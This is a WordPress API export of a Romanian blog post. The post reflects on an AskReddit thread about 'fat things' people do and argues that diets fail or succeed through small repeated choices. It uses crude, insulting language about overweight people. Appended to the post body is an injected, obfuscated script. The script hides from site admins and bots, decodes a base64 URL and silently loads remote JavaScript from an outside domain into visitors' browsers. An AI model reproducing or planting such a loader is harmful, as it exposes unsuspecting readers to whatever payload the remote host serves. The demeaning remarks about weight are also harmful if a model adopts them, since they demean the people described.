{"id":4899,"date":"2017-10-08T19:27:59","date_gmt":"2017-10-08T16:27:59","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4899"},"modified":"2025-10-17T19:45:50","modified_gmt":"2025-10-17T16:45:50","slug":"cel-mai-indemn-fain-la-dieta","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2017\/10\/cel-mai-indemn-fain-la-dieta\/","title":{"rendered":"Cel mai \u00eendemn fain la diet\u0103"},"content":{"rendered":"<div class=\"entry\">\n<p>Thread pe AskReddit: <a href=\"https:\/\/np.reddit.com\/r\/AskReddit\/comments\/73rlv1\/whats_the_fattest_thing_youve_ever_done\/\">what&#8217;s the fattest thing you&#8217;ve done?<\/a><\/p>\n<p>Titlul nu are o traducere direct\u0103 \u00een rom\u00e2n\u0103, poate pentru c\u0103 rom\u00e2nii \u00eenc\u0103 n-au sistemic problema de-a fi gra\u015fi. Sigur, punctual, problema se manifest\u0103. Vezi copii gra\u015fi, \u00een sensul sc\u00eerbos al cuv\u00eentului. Vezi tipe grase, cu \u015funcile rev\u0103rsate, care parc\u0103-s o cistern\u0103 plin\u0103 cu lichid ((Sigur \u015fti\u0163i genul de mi\u015fcare pe care-l execut\u0103 o cistern\u0103 de-asta c\u00eend se dezechilibreaz\u0103.)). Mai vezi \u015fi tipi gra\u015fi, care au m\u00eencat tot KFCu&#8217; \u015fi \u00eenc\u0103 nu s-au s\u0103turat. Totu\u015fi, sistemic, st\u0103m relativ bine.<\/p>\n<p>Hai s\u0103 \u00eencerc\u0103m o traducere prin perifraze. R\u0103d\u0103cina &#8220;fat&#8221; din fattest este adjectiv, dar aici nu cu sensul primar de &#8220;gras&#8221;, ci cu sensul &#8220;<em>chestie care apar\u0163ine de a fi gras<\/em>&#8220;. Compara\u0163ie: &#8220;he&#8217;s doing his police thing again&#8221;, adic\u0103 omul \u00ee\u015fi folose\u015fte ni\u015fte abilit\u0103\u0163i dob\u00eendite lucr\u00eend ca poli\u0163ist. De exemplu, interog\u00eend autoritar un vecin.<\/p>\n<p>Ei bine, <em>to do a fat thing<\/em> e tot pe-acela\u015fi calapod mental. Fat thing este o chestie &#8220;de gr\u0103san&#8221;, ceva ce-ar face un gr\u0103san. Ar fi gestul de a m\u00eenca dou\u0103 \u015faorme cu de toate. Seara, la cin\u0103. Dup\u0103 care mai bei \u015fi 4 beri. Ar fi gestul de-a te servi de cinci ori la bufetul suedez, chiar \u015fi-n public, cu colegii la o chermez\u0103.<\/p>\n<p>De altfel, dac\u0103 citim r\u0103spunsurile date de oameni, se desprinde un pattern similar. S\u0103 m\u0103n\u00eenci micul dejun din 3 p\u0103r\u0163i &#8212; prima data \u00eel iei la cofet\u0103rie, apoi intri \u015fi la brut\u0103rie, apoi mergi \u015fi la McDonalds. Comanzi m\u00eencare doar pentru tine, \u015fi apoi mai m\u0103n\u00eenci o dat\u0103 \u015fi cu restul grupului (aceea\u015fi mas\u0103 a zilei). Chestii de-astea.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p>Dincolo de exemplele concrete \u00eens\u0103, mie mi-a r\u0103mas pe creier formularea &#8220;fat thing&#8221;. Oamenii ajung gra\u015fi fiindc\u0103 aleg s\u0103 fac\u0103 chestii care-i \u00eengra\u015f\u0103. \u015etiu, e truism, dar uneori e al dracului de greu s\u0103-\u0163i dai seama de treaba asta.<\/p>\n<p>Toate dietele normale la cap \u00eencep prin a &#8220;zbiera&#8221; la tine s\u0103 nu mai faci chestii care-s na\u015fpa \u00een mod direct \u015fi m\u0103surabil. \u0162i se interzice complet p\u00eeinea alb\u0103, c-o m\u0103n\u00eenci degeaba; are calorii, dar nu \u015fi substan\u0163e care s\u0103-i foloseasc\u0103 corpului (gen vitamine, sau minerale). Tai complet pr\u0103jelile, fiindc\u0103 pr\u0103jirea cam transform\u0103 materia organic\u0103 \u00een chestii inutile. Tai zah\u0103rul, c\u0103-i bomb\u0103 de energie \u015fi ba\u015fca mai \u015fi cre\u015fte nivelul insulinei din s\u00eenge. Tai sucurile de orice fel, fiindc\u0103 e mega-dificil s\u0103 bei cu m\u0103sur\u0103, plus c\u0103 nu c\u00ee\u015ftigi nimic util din ele. Abia apoi ajungi \u015fi la chestiile specifice fiec\u0103rei diete.<\/p>\n<p>Bun, orice om e capabil s\u0103 se \u0163in\u0103 de a\u015fa ceva timp de vreo 2 s\u0103pt\u0103m\u00eeni. Dac\u0103-i mai placid, merge vreo 2-3 luni. Dup\u0103 care .. p\u0103i dup\u0103 care \u00eencep poftele. Vrei un cartof pr\u0103jit, vrei un suc, vrei 4 banane la o singur\u0103 mas\u0103 (<em>\u015fi sunt totu\u015fi cam dulci<\/em>).\u00a0\u00cen acest punct se duc dracului 90% din dietele oamenilor. \u00cen momentul c\u00eend \u00eencepi s\u0103-i faci concesii creierului, s-a dus pulii de suflet treaba. Depinde mult \u015fi ce fel de om e\u015fti, unii reu\u015fesc s\u0103 se \u0163in\u0103 m\u0103car de preceptele de baz\u0103 ale dietei, reduc\u00eendu-i eficien\u0163a doar cu 60%, restul de 40% pierz\u00eendu-se pe &#8220;<em>mici excep\u0163ii<\/em>&#8220;. Al\u0163ii \u00eens\u0103 o iau complet pe ar\u0103tur\u0103, calc\u0103 str\u00eemb 5 zile la r\u00eend, dup\u0103 care \u00ee\u015fi dau seama c\u0103 oricum pe termen lung le displac restric\u0163iile. A\u015fa, conceptual.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p>Ei bine, mie de asta \u00eemi place expresia de care vorbeam mai devreme. Brusc, con\u015ftientizezi c\u0103 &#8220;<em>doing a fat thing<\/em>&#8221; \u00eensumeaz\u0103 gesturi individuale, care se repet\u0103.<\/p>\n<p>\u0162i-e poft\u0103 de un Snickers? Foarte bine, ia-l \u015fi bag\u0103-l \u00een tine. Poate chiar ai m\u00eencat pu\u0163ine calorii ast\u0103zi, deci caloriile din Snickers &#8220;nu se depun&#8221;. Totu\u015fi, aminte\u015fte-\u0163i c\u0103 asta <em>e o alegere de gr\u0103san<\/em>. E genul de alegere care face burta mare pe termen lung, fiindc\u0103 dac\u0103 m\u0103n\u00eenci dulce azi o s\u0103-\u0163i fie poft\u0103 \u015fi m\u00eeine \u015fi r\u0103spoim\u00eeine. Idem cu cartofii. Vrei cartofi la cuptor, sau vrei salat\u0103 oriental\u0103 ((De ce-i zic rom\u00e2nii a\u015fa chestiei \u0103steia?)). Bravo \u0163ie, nu-\u0163i refuza nimic. Dar aminte\u015fte-\u0163i c\u0103 asta <em>e o alegere.<\/em>\u00a0De gr\u0103san\u0103. O s\u0103 bagi \u00een tine ca sparta, \u015fi-o s\u0103 \u00ee\u0163i r\u0103m\u00een\u0103 \u015fi dou\u0103 por\u0163ii pe m\u00eeine.<\/p>\n<p>\u0102sta-i marele fucking secret: dieta e compus\u0103 din alegeri. Medicul, sau nutri\u0163ionistul, sau internetul \u00ee\u0163i recomand\u0103 o list\u0103 de chestii care-\u0163i fac bine. De exemplu \u00ee\u0163i recomand\u0103 p\u00eeine strict integral\u0103, c\u0103-i mai s\u0103\u0163ioas\u0103 \u015fi are mai multe minerale. Tu po\u0163i alege: m\u0103n\u00eenci de-asta, sau m\u0103n\u00eenci p\u00eeine alb\u0103, care-i umflat\u0103 cu pompa \u015fi nu prea are substan\u0163e nutritive. E o alegere, mic\u0103 \u00een sinea ei. Po\u0163i s\u0103 bagi p\u00eeine alb\u0103, nu te opre\u015fte nimeni.<\/p>\n<p>Dar daci aduni <em>fat thing<\/em> cu <em>fat thing<\/em>, ce fel de corp \u00ee\u0163i iese? Alegerile se cumuleaz\u0103. P\u00eeinea alb\u0103 de diminea\u0163\u0103 cu cola de la pr\u00eenz \u015fi cu lasagna de la cin\u0103, plus savarina dintre mese? Bravo p\u0103tr\u0103\u0163el! Degeaba ai strecurat la una din mese \u015fi ni\u015fte ro\u015fii, sau un shake de castrave\u0163i cu rodie. Alegerile se noteaz\u0103 \u015fi ele pe list\u0103, \u015fi tragem linie la finalul zilei. Zah\u0103rul din cola de la pr\u00eenz e tot pe list\u0103, indiferent ce bulion de ro\u015fii faci \u00een stomac la cin\u0103.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p>.. Mie unuia chestia de mai sus \u00eemi pare un cenzor nemaipomenit, fiindc\u0103 \u00eei po\u0163i instala \u00een capul propriu. Un cenzor care s\u0103-\u0163i zic\u0103, c\u00eend \u00eentinzi m\u00eena spre raft, c\u0103 &#8220;faci o chestie de gr\u0103san&#8221;. Mar\u015f la c\u0103cat \u015fi pune treaba aia interzis\u0103 \u00eenapoi \u00eentre celelalte. De fapt, pleac\u0103 de tot din raionu&#8217; de dulciuri, ca s\u0103 nu fii tentat s\u0103 &#8220;<em>do a fat thing<\/em>&#8220;. Pleac\u0103 din fa\u0163a zonei cu pizza a cantinei. Treci de KFC cu capu&#8217; pe umeri, nu intra acolo cum fac restu&#8217; de balene e\u015fuate.<\/p>\n<p>Profilaxie, gen.<\/p>\n<p>A\u015f mai c\u0103uta reformul\u0103ri ale ideii, da&#8217; zic eu c\u0103 cine-a vrut s\u0103 priceap\u0103 a priceput. M\u0103 opresc deci aici.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Thread pe AskReddit: what&#8217;s the fattest thing you&#8217;ve done? Titlul nu are o traducere direct\u0103 \u00een rom\u00e2n\u0103, poate pentru c\u0103 rom\u00e2nii \u00eenc\u0103 n-au sistemic problema de-a fi gra\u015fi. Sigur, punctual, problema se manifest\u0103. Vezi copii gra\u015fi, \u00een sensul sc\u00eerbos al cuv\u00eentului. Vezi tipe grase, cu \u015funcile rev\u0103rsate, care parc\u0103-s o cistern\u0103 plin\u0103 cu lichid ((Sigur &#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[41],"tags":[],"class_list":{"0":"post-4899","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-societate-si-dezbateri","7":"anons"},"_links":{"self":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4899","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/comments?post=4899"}],"version-history":[{"count":7,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4899\/revisions"}],"predecessor-version":[{"id":5027,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4899\/revisions\/5027"}],"wp:attachment":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/media?parent=4899"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/categories?post=4899"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/tags?post=4899"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}